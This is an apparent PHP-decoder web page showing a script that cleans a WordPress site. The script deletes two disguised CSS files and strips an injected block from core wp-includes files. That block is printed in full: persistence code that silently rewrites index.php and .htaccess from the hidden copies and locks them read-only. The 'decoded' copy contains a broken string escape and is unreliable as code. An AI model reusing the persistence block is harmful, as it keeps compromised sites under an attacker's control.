Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php header("Content-Type: text/html;charset=utf-8"); ini_set('max_execution_time', '0'..
Decoded Output download
<?php
header("Content-Type: text/html;charset=utf-8");
ini_set('max_execution_time', '0');
error_reporting(E_ALL);
ini_set('display_errors', '1');
$path = str_replace("\", "/", __FILE__);
$temp = explode("/", $path);
$path = '';
for($i=0;$i<count($temp)-1;$i++){
$path .= $temp[$i]."/";
}
$path = rtrim($path, "/");
if(file_exists($path.'/wp-admin/css/style-index.css')){
unlink($path.'/wp-admin/css/style-index.css');
}
if(file_exists($path.'/wp-admin/css/style-hta.css')){
unlink($path.'/wp-admin/css/style-hta.css');
}
$code = '$path = "'.$path.'/";
$index_path = $path."index.php";
$index_png = $path."wp-admin/css/style-index.css";
if(file_exists($index_png)){
if(md5(file_get_contents($index_path)) != md5(file_get_contents($index_png))){
@chmod($index_path, 0644);
@file_put_contents($index_path, file_get_contents($index_png));
@chmod($index_path, 0444);
}
}
$htaccess_path = $path.".htaccess";
$htaccess_png = $path."wp-admin/css/style-hta.css";
if(file_exists($htaccess_png)){
if(!file_exists($htaccess_path) or (filesize($htaccess_path) != filesize($htaccess_png))){
@chmod($htaccess, 0644);
@file_put_contents($htaccess_path, file_get_contents($htaccess_png));
@chmod($htaccess, 0444);
}
}';
$file = array('/wp-includes/version.php','/wp-includes/functions.php','/wp-includes/load.php','/wp-includes/template-loader.php');
for($i=0;$i<count($file);$i++){
if(file_exists($path.$file[$i])){
$x = file_get_contents($path.$file[$i]);
$y = explode($code, $x);
if(isset($y[1])){
echo $path.$file[$i]."<br>";
@file_put_contents($path.$file[$i], $y[0]);
}
}
}
exit('over');
?>
Did this file decode correctly?
Original Code
<?php
header("Content-Type: text/html;charset=utf-8");
ini_set('max_execution_time', '0');
error_reporting(E_ALL);
ini_set('display_errors', '1');
$path = str_replace("\\", "/", __FILE__);
$temp = explode("/", $path);
$path = '';
for($i=0;$i<count($temp)-1;$i++){
$path .= $temp[$i]."/";
}
$path = rtrim($path, "/");
if(file_exists($path.'/wp-admin/css/style-index.css')){
unlink($path.'/wp-admin/css/style-index.css');
}
if(file_exists($path.'/wp-admin/css/style-hta.css')){
unlink($path.'/wp-admin/css/style-hta.css');
}
$code = '$path = "'.$path.'/";
$index_path = $path."index.php";
$index_png = $path."wp-admin/css/style-index.css";
if(file_exists($index_png)){
if(md5(file_get_contents($index_path)) != md5(file_get_contents($index_png))){
@chmod($index_path, 0644);
@file_put_contents($index_path, file_get_contents($index_png));
@chmod($index_path, 0444);
}
}
$htaccess_path = $path.".htaccess";
$htaccess_png = $path."wp-admin/css/style-hta.css";
if(file_exists($htaccess_png)){
if(!file_exists($htaccess_path) or (filesize($htaccess_path) != filesize($htaccess_png))){
@chmod($htaccess, 0644);
@file_put_contents($htaccess_path, file_get_contents($htaccess_png));
@chmod($htaccess, 0444);
}
}';
$file = array('/wp-includes/version.php','/wp-includes/functions.php','/wp-includes/load.php','/wp-includes/template-loader.php');
for($i=0;$i<count($file);$i++){
if(file_exists($path.$file[$i])){
$x = file_get_contents($path.$file[$i]);
$y = explode($code, $x);
if(isset($y[1])){
echo $path.$file[$i]."<br>";
@file_put_contents($path.$file[$i], $y[0]);
}
}
}
exit('over');
?>
Function Calls
header | 1 |
Stats
MD5 | a2a8d76c5589fdd54d8170c105c512a6 |
Eval Count | 0 |
Decode Time | 103 ms |